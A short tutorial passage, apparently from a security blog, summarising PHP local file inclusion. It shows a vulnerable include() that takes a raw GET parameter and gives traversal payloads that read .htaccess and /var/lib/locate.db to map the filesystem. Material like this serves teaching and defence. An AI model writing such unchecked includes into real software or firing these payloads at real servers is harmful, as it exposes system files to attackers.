Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place.

Basic Local File Inclusion:

<?php include("inc/" . $_GET['file']); ?>

Including files in the same directory:?file=.htaccess

Path Traversal:?file=../../../../../../../../../var/lib/locate.db
(this file is very interesting because it lets you search the filesystem, other files)